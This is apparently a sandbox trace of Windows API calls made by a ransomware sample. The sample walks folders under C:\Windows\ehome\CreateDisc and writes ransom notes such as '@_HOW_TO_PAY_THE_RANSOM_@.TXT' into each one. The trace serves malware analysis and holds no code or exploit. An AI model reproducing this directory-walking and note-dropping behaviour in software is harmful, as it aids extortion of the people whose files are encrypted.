ftCreationTime.dwLowDateTime=0xa34bd413, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa34bd413, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa34bd413, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x3, cFileName="cbva.dll", cAlternateFileName="")) returned 1 [0252.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5433b8 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5433b8 | out: hHeap=0x510000) returned 1 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.955] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c8ba92c, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf231d1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="CreateDisc", cAlternateFileName="CREATE~1")) returned 1 [0252.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5433b8 [0252.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5433e0 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5433b8 | out: hHeap=0x510000) returned 1 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5433e0 | out: hHeap=0x510000) returned 1 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.956] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.956] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x597e58 [0252.956] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5433e0 [0252.956] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.956] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5433e0 | out: hHeap=0x510000) returned 1 [0252.956] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0252.956] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0252.956] AreFileApisANSI () returned 1 [0252.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0252.956] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x74) returned 0x51ff00 [0252.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x51ff00, cchWideChar=58 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 58 [0252.956] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0252.958] GetFileType (hFile=0x1f0) returned 0x1 [0252.958] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x51ff00 | out: hHeap=0x510000) returned 1 [0252.959] AreFileApisANSI () returned 1 [0252.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 59 [0252.959] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x76) returned 0x51ff00 [0252.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x51ff00, cchWideChar=59 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 59 [0252.960] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0252.960] GetFileType (hFile=0x1f0) returned 0x1 [0252.960] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x51ff00 | out: hHeap=0x510000) returned 1 [0252.961] AreFileApisANSI () returned 1 [0252.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0252.961] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x74) returned 0x51ff00 [0252.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x51ff00, cchWideChar=58 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 58 [0252.961] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0252.962] GetFileType (hFile=0x1f0) returned 0x1 [0252.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x51ff00 | out: hHeap=0x510000) returned 1 [0252.963] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c8ba92c, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1421e320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1421e320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.963] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c8ba92c, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1421e320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1421e320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0252.963] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1421e320, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1421e320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1421e320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0252.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.963] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1421e320, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1421e320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1421e320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0252.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.963] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1421e320, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1421e320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1421e320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0252.963] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.964] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.964] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.964] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.964] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.964] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.964] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc4e394, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cc4e394, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1 [0252.964] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.964] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.964] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ce30 [0252.964] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.964] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ce30 | out: hHeap=0x510000) returned 1 [0252.964] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.964] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.964] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x597e58 [0252.964] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.964] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0252.964] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.964] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0252.964] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0252.965] AreFileApisANSI () returned 1 [0252.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0252.965] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8a) returned 0x58fe58 [0252.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x58fe58, cchWideChar=69 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\Components\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 69 [0252.965] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Components\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\components\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0252.967] GetFileType (hFile=0x178) returned 0x1 [0252.968] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58fe58 | out: hHeap=0x510000) returned 1 [0252.969] AreFileApisANSI () returned 1 [0252.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0252.969] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8c) returned 0x58fe58 [0252.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x58fe58, cchWideChar=70 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\Components\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 70 [0252.969] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Components\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\components\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0252.971] GetFileType (hFile=0x178) returned 0x1 [0252.971] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58fe58 | out: hHeap=0x510000) returned 1 [0252.972] AreFileApisANSI () returned 1 [0252.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0252.972] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8a) returned 0x58fe58 [0252.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x58fe58, cchWideChar=69 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\Components\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 69 [0252.972] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Components\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\components\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0252.972] GetFileType (hFile=0x178) returned 0x1 [0252.972] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58fe58 | out: hHeap=0x510000) returned 1 [0252.973] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Components\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc4e394, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14244480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14244480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.973] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc4e394, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14244480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14244480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0252.974] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14244480, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14244480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14244480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0252.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0252.974] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14244480, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14244480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14244480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0252.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0252.974] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14244480, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14244480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14244480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0252.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0252.974] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc4e394, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="tables", cAlternateFileName="")) returned 1 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ce30 [0252.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ce30 | out: hHeap=0x510000) returned 1 [0252.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x597e58 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0252.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.975] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0252.975] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0252.975] AreFileApisANSI () returned 1 [0252.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0252.975] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x98) returned 0x536b88 [0252.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=76 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\Components\\tables\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 76 [0252.975] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Components\\tables\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aa6d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0252.977] GetFileType (hFile=0x1ac) returned 0x1 [0252.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0252.978] AreFileApisANSI () returned 1 [0252.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0252.978] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9a) returned 0x55fe38 [0252.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x55fe38, cchWideChar=77 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\Components\\tables\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 77 [0252.978] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Components\\tables\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aa6d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0252.979] GetFileType (hFile=0x1ac) returned 0x1 [0252.979] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55fe38 | out: hHeap=0x510000) returned 1 [0252.980] AreFileApisANSI () returned 1 [0252.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0252.980] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x98) returned 0x536b88 [0252.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=76 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\Components\\tables\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 76 [0252.980] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Components\\tables\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aa6d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0252.981] GetFileType (hFile=0x1ac) returned 0x1 [0252.981] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 